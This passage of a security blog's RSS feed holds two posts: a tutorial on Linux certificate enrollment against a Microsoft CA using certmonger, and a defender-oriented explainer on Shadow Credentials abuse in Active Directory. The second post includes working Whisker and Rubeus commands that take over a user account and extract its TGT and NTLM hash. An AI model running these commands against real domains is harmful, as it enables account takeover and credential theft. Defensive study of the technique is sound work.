&lt;p&gt;Edit the certmonger config with your environment details:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo cp /usr/local/etc/cepces/cepces.conf.dist /usr/local/etc/cepces/cepces.conf
sudo nano /usr/local/etc/cepces/cepces.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;My working example is:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[global]
# Hostname of the issuing certification authority. This is an optional setting
# and is only used to construct the URL to the Policy Provider endpoint.
#
# Default: ca
server=ca.jmpesp.xyz

# This is the endpoint type. It can be either &quot;Policy&quot; where the server
# endpoint specified later will be used to look up enrollment endpoints, or it
# can be &quot;Enrollment&quot; to specify a direct endpoint (bypassing XCEP
# altogether.)
type=Policy

# This is the authentication mechanism used for connecting to the service
# endpoint. The following options are available:
#
# * Anonymous
#             Anonymous authentication (i.e. no authentication at all.) This
#             is discouraged and untested. It is only included for completness
#             as defined in the MS-XCEP specification.
# * Kerberos
#             Transport level authentication. This is the default where the
#             authentication is performed in the HTTP(s) layer.
# * UsernamePassword
#             Message level authentication. The credentials are used in the
#             message header for authentication.
# * Certificate
#             Message level authentication. A client certificate is used to
#             sign the message. This is not yet implemented.
#
# Default: Kerberos
auth=Kerberos

# This is the final URL of the Policy Provider endpoint.
#
# Default: https://${server}/ADPolicyProvider_CEP_${auth}/service.svc/CEP
endpoint=https://${server}/ADPolicyProvider_CEP_${auth}/service.svc/CEP

# Path to a CA bundle or directory containing certificates. If not specified,
# the system default is used. If set to an empty value, verification is
# bypassed. This is strongly discouraged.
#
# Please note that directories are supported starting with python-requests 2.9.
#
# Default: &amp;lt;not defined&amp;gt;
#cas=

[Kerberos]
# Use the specified keytab. If unspecified, the system default is used.
#
# Default: &amp;lt;not defined&amp;gt;
#keytab=

# An optional explicit realm to use. If unspecified, the default system realm
# is used.
#
# Default: &amp;lt;not defined&amp;gt;
realm=JMPESP.XYZ

# Initialize a credential cache. If this is disabled, a valid credential cache
# is required prior launching the application. If enabled, a temporary
# in-memory cache is created, and released when the application ends.
#
# Default: True
ccache=True

# A list of principals to try when requesting a ticket.
#
# Default: &amp;lt;empty list&amp;gt;
principals=
  ${shortname}$$
  ${SHORTNAME}$$
  host/${SHORTNAME}
  host/${fqdn}

# A list of encryption types to use.
#
# Default: &amp;lt;not defined&amp;gt;
enctypes=
  aes128-cts-hmac-sha1-96
  aes256-cts-hmac-sha1-96
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You need to add a “CA” (configuration) so that certmonger knows how to deal with the CESCEP interface on the Certificate Authority.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo getcert add-ca -c cescep-ca -e &apos;/usr/local/libexec/certmonger/cepces-submit --server=ca.jmpesp.xyz --keytab=/etc/krb5.keytab&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The important parts from that command:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;-c is going to be the name you use as your CA to request certificates going forward.&lt;/li&gt;
  &lt;li&gt;-e is pointing to the script that certmonger should use to get the CESCEP job done. It is the github package we downloaded and installed above. There’s a chance, depending on your distribution that it is not in that location. Use something like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find / -name cepces-submit&lt;/code&gt; to be sure.&lt;/li&gt;
  &lt;li&gt;–keytab is how the Kerberos magic is going to work using the machine credentials. The ktutil command a little further back in this post can help if you think you have keytab issues.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The github instructions will advise you to use a –principal parameter in the CA configuration. I hit a wall with that. No matter what I did, the debug logs showed me a parser error. Instead, you can configure the principal part of this in the cepces config. My config was in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/local/etc/cepces/cepces.conf&lt;/code&gt; but it will vary slightly by distro (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;find / -name cepces.conf&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/cepces.conf.png&quot; alt=&quot;cepces-conf&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The double $ characters are important, it makes the parser handle computer SAM account names properly as an escape character. They would otherwise look like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop-os$&lt;/code&gt; but that’s be interpreted wrong. To be clear though, you don’t need this change. The parser should work. But this reliably got me past the parser errors I was hitting on a default PopOS! install.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trust the CA:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We kind of skipped a step, otherwise we’d be ready to roll.&lt;/p&gt;

&lt;p&gt;We need to trust the TLS certificate that the CA is going to send us when we try to use CESCEP.&lt;/p&gt;

&lt;p&gt;The easiest way I know to get the certificate chain for your CA trusted on the linux client is just to export it using firefox. If you just navigate to the CA on https://ca.jmpesp.xyz you’ll hit that default IIS page. If you’ve hit “ok, I trust the certificate warning” you should be able to get there despite the currently untrusted certificate. If you click on the certificate information in the browser you can navigate through and “download PEM chain” (Here’s an example post: &lt;a href=&quot;https://www.shellhacks.com/get-ssl-certificate-from-server-site-url-export-download/&quot;&gt;https://www.shellhacks.com/get-ssl-certificate-from-server-site-url-export-download/&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Once you have the .pem file, copy it to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/ssl/certs&lt;/code&gt; and run&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo update-ca-certificates --fresh --verbose
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Request a certificate:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We should now be able to do:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo getcert request -c cescep-ca -w -v -M 644 -T Machine -I Computer -k computer.key -f computer.crt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;You don’t need to pre-create the keys or a CSR, certmonger has your back. It knows how to work with CESCEP via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-c&lt;/code&gt; parameter which is what we configured a couple of steps back.&lt;/p&gt;

&lt;p&gt;If everything worked, you’ll have a brand new certificate signed by your Microsoft CA. The CA was happy to give it up because of Kerberos authentication.&lt;/p&gt;

&lt;p&gt;try:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;openssl x509 -in computer.crt -text -noout
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;to inspect it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/cert.png&quot; alt=&quot;cert&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You can also look in the Certification Authority manager console on the CA. You should see the linux computer certificate issued (certificate 8 in the screenshot).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/ca-view.png&quot; alt=&quot;ca-view&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Troubleshooting&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;I had to fumble through all of the above. The commands in this section are useful things I found along the way:&lt;/p&gt;

&lt;p&gt;If you think the keytab might not be doing what you need, mskutil can help out with a command that is very similar to the windows nltest secure channel command:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo msktutil update --dont-change-password --server dc.jmpesp.xyz --computer-name pop-os --no-reverse-lookups
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To list current certificate requests being managed by certmonger (after trying a request):&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo getcert list
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Delete a request if things look crook:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo getcert stop-tracking -i Computer
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;(where -i is the tracking name we supplied in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getcert request&lt;/code&gt; command. it’ll be shown in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getcert list&lt;/code&gt;)&lt;/p&gt;

&lt;p&gt;More useful troubleshooting information if a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getcert request&lt;/code&gt; is not successful:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo journalctl -xe -t certmonger | tail
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If this log is empty for you it is possible to edit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/lib/systemd/system/certmonger.service&lt;/code&gt;. There is a line &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExecStart=/usr/sbin/certmonger -S -p /run/certmonger.pid -n $OPTS&lt;/code&gt; that is looking for a variables file. You’d usually put your logging options in that file, but if you don’t want to mess around working that out you can just do something like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExecStart=/usr/sbin/certmonger -S -p /run/certmonger.pid -n 15&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Inspect the “CA” configuration:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo getcert list-cas
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Remove a “CA” configuration if you think you’ve stuffed it up, or changed the configuration:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo getcert remove-ca -c cepces-ca
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;You can also use the IIS logs. The image below shows the failing CEPCES requests (python requests library) and a Windows client for comparison:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/iislog.png&quot; alt=&quot;iislog&quot; /&gt;&lt;/p&gt;

&lt;p&gt;^ for what it is worth, this part of the log was when I had trouble with my computer keytab configuration.&lt;/p&gt;

&lt;p&gt;Also recommended: Wireshark on the CA while working out your POC. It is hard to tell on the client side whether certmonger reached out to the CA at all. If you’re stuck, wireshark is really useful to see if the process is progressing that far.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Last Note&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;Obviously most of the work above should be rolled into the configuration script for the computer. It wouldn’t be sustainable to do it on each machine manually. If you move this beyond a lab, treat the script as part of endpoint provisioning and include checks for time sync, DNS, keytab health, CA trust, and certificate renewal state.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/security/Kerberos/Kerberos-authentication-overview&quot;&gt;Kerberos authentication overview&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/windows-authentication-overview&quot;&gt;Windows authentication overview&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/&quot;&gt;MS-KILE: Kerberos Protocol Extensions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/&quot;&gt;MS-PAC: Privilege Attribute Certificate Data Structure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/certificate-enrollment-web-service&quot;&gt;Certificate Enrollment Web Service overview&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/identity/solution-guides/certificate-enrollment-certificate-key-based-renewal&quot;&gt;Certificate enrollment certificate key-based renewal&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 01 Nov 2022 14:34:25 +0000</pubDate>
        <link>https://chadduffey.com/active_directory/certificate_services/2022/11/01/CESCEP.html</link>
        <guid isPermaLink="true">https://chadduffey.com/active_directory/certificate_services/2022/11/01/CESCEP.html</guid>
        
        <category>featured</category>
        
        
        <category>active_directory</category>
        
        <category>certificate_services</category>
        
      </item>
    
      <item>
        <title>Shadow Credentials</title>
        <description>&lt;p&gt;Shadow Credentials abuse targets the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDS-KeyCredentialLink&lt;/code&gt; attribute and the way Active Directory supports key trust authentication. The blue-team priority is simple: understand who can write that attribute, how those rights are inherited, and what telemetry exists when a new key credential appears.&lt;/p&gt;

&lt;p&gt;Elad Shamir’s post on Shadow Credentials is the right place to read the details of this interesting approach: &lt;a href=&quot;https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab&quot;&gt;https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab&lt;/a&gt;. He documented the approach back in June, 2018.&lt;/p&gt;
&lt;h1 id=&quot;short-version-for-blue-teamers&quot;&gt;Short Version for Blue Teamers:&lt;/h1&gt;
&lt;p&gt;The way I simplify (probably oversimplify) this when talking to people about it is:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;There’s an Active Directory attribute called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDS-KeyCredentialLink&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;If an adversary or malicious insider is able to write to the attribute for a principal they want to use they can add their own self-generated key material and authenticate with that material.&lt;/li&gt;
  &lt;li&gt;Meaning, an adversary could be logging on as you or anyone in the domain, without your password, without you knowing anything about it IF they had write access to this attribute.
The other note I call out explicitly on this one is that there is no need to enroll a certificate from the corporate certificate server. The adversary can create their own keypair. The environment still needs to support Kerberos PKINIT for the authentication step, which commonly means domain controllers have suitable certificates.
The attribute:
&lt;img src=&quot;/assets/article_images/keycredlink.png&quot; alt=&quot;key credential link attribute&quot; /&gt;
The permission:
&lt;img src=&quot;/assets/article_images/permission.png&quot; alt=&quot;key credential link permission&quot; /&gt;
BloodHound is calling out the attack path where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Olly&lt;/code&gt; happens to have write to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDS-KeyCredentialLink&lt;/code&gt; attribute on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Sally&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Sally&lt;/code&gt; has domain admin privileges. In practice though, domain admin might not even be the goal, we might just be looking for accounts to take over. A practical insider-risk scenario is a delegated administrator who accumulates these permissions through account-creation workflows and can then access other principals without needing their passwords:
&lt;img src=&quot;/assets/article_images/bloodhound-kcl.png&quot; alt=&quot;key credential link in bloodhound&quot; /&gt;
    &lt;h1 id=&quot;how-does-this-happen-in-practice-though&quot;&gt;How does this happen in practice though?&lt;/h1&gt;
    &lt;p&gt;If your first reaction was that it should be rare for someone to just have that unusual permission on its own, you’d be right.
What usually happens in practice is that a principal will have one of: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GenericAll&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GenericWrite&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Owns&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WriteOwner&lt;/code&gt; permissions and with any of those, they can write the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDS-KeyCredentialLink&lt;/code&gt; in one or two steps.
And to further drive home how this can happen in practice: if you create a user, you usually become the owner (unless you are a domain admin in which case ‘domain admins’ become the owner).
So in practice if someone is creating a lot of users, and especially if they are creating privileged accounts, that user will have write permissions to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDS-KeyCredentialLink&lt;/code&gt; attribute.
Here’s a quick picture:
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testOwner&lt;/code&gt; account was created by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sally&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net user /add testOwner P@ssw0rd123 /domain&lt;/code&gt;
&lt;img src=&quot;/assets/article_images/owner.png&quot; alt=&quot;account owner&quot; /&gt;&lt;/p&gt;
    &lt;h1 id=&quot;how-easily-can-this-be-abused&quot;&gt;How easily can this be abused?&lt;/h1&gt;
    &lt;p&gt;Very.
If the red team, or adversary is able to compromise an account that has the ability to write &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDS-KeyCredentialLink&lt;/code&gt; on another principal they can do it with a small amount of effort.
BloodHound even provides instructions:
&lt;img src=&quot;/assets/article_images/bh-whisker.png&quot; alt=&quot;whisker&quot; /&gt;&lt;/p&gt;
    &lt;h1 id=&quot;simple-abuse-example&quot;&gt;Simple Abuse Example:&lt;/h1&gt;
    &lt;p&gt;&lt;em&gt;Keep in mind, we discovered that “olly” has the ability to write the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDS-KeyCredentialLink&lt;/code&gt; attribute on the “sally” principal.&lt;/em&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;Download and Compile Whisker: &lt;a href=&quot;https://github.com/eladshamir/Whisker&quot;&gt;https://github.com/eladshamir/Whisker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Run: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whisker.exe add /target:sally /domain:jmpesp.xyz /dc:dc1.jmpesp.xyz /path:file.pfx /password:pass&lt;/code&gt;
&lt;img src=&quot;/assets/article_images/whisker.png&quot; alt=&quot;whisker&quot; /&gt;&lt;/li&gt;
  &lt;li&gt;Download and Compile Rubeus: &lt;a href=&quot;https://github.com/GhostPack/Rubeus&quot;&gt;https://github.com/GhostPack/Rubeus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Run the command provided in the output of whisker: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rubeus.exe /asktgt /user:sally /certificate:file.pfx /password:&quot;pass&quot; /domain:jmpesp.xyz /dc:dc1.jmpesp.xyz /getcredentials /show&lt;/code&gt;
&lt;img src=&quot;/assets/article_images/rubeus.png&quot; alt=&quot;rubeus&quot; /&gt;&lt;/li&gt;
  &lt;li&gt;We now have both a TGT and the NTLM hash for Sally and can now use this principal for whatever we need. On Sally’s end, not much has changed, she just goes about her day unaware that Olly has added this credential to her Active Directory object and can leverage it for whatever he needs.
As a red-team example just to close this out with a screenshot abusing Sally’s account:
&lt;img src=&quot;/assets/article_images/evilwinrm.png&quot; alt=&quot;evil winrm&quot; /&gt;
But in reality the type of thing that has me most worried about this attack is the malicious insider who is just using this from time to time to access other users’ things undetected.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;detection-and-prevention-notes&quot;&gt;Detection and prevention notes&lt;/h1&gt;

&lt;p&gt;The defensive priorities are straightforward:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Treat write access to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDS-KeyCredentialLink&lt;/code&gt; as highly sensitive, especially when it applies to privileged users, service accounts, or broad OUs.&lt;/li&gt;
  &lt;li&gt;Monitor directory changes to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msDS-KeyCredentialLink&lt;/code&gt;, including who made the change and which principal was modified.&lt;/li&gt;
  &lt;li&gt;Use BloodHound or equivalent ACL review to find principals with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GenericAll&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GenericWrite&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WriteOwner&lt;/code&gt;, ownership, or explicit write permissions over target accounts.&lt;/li&gt;
  &lt;li&gt;Review help desk and provisioning workflows carefully; account creators and delegated admins can accumulate surprising ownership or write paths.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/security/Kerberos/Kerberos-authentication-overview&quot;&gt;Kerberos authentication overview&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/windows-authentication-overview&quot;&gt;Windows authentication overview&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/&quot;&gt;MS-KILE: Kerberos Protocol Extensions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/&quot;&gt;MS-PAC: Privilege Attribute Certificate Data Structure&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sun, 30 Oct 2022 14:34:25 +0000</pubDate>
        <link>https://chadduffey.com/active_directory/red_team/2022/10/30/ShadowCreds.html</link>
        <guid isPermaLink="true">https://chadduffey.com/active_directory/red_team/2022/10/30/ShadowCreds.html</guid>
        
        
        <category>active_directory</category>
        
        <category>red_team</category>
        
      </item>
    
  </channel>
</rss>
